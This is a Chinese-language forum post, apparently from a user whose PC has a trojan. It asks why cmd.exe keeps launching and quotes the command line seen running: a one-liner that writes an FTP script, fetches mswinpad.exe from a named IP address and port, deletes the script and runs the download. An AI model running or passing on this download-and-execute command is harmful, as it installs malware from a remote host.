已經檢查了,系統啟動項裏面沒有CMD啟動項.
    每次開機瀏覽網頁數分鐘後會在任務管理器裏看到CMD這個進程.用KAKA的進程查看.發現有這樣的命令: cmd /k open 222...<IP> echo >oecho user 1 1 ....get ...exe      <程序> (記不大清楚了)
    這是中了病毒後的症狀嗎?它每次啟動,都會在系統目錄下面下載幾個可疑的EXE程序,而且屬性全部為隱藏+系統文件....汗...

大家注意到這個沒有:
cmd /k echo open 219.154.181.216 10056 > o&echo user 1 1 >> o &echo get mswinpad.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &mswinpad.exe

還有這個:
C:\WINNT\mswinpad.exe

都是莫名其妙就增加到上面去的...> <

在网上查了IP,那个219.154.181.216是河南省南阳市的...
又查了下mswinpad.exe,查出是木马.

已经删除了mswinpad.exe.
但是还是没有解决cmd.exe偶尔启动的现象.
似乎很不规律....> <
汗...继续等答案
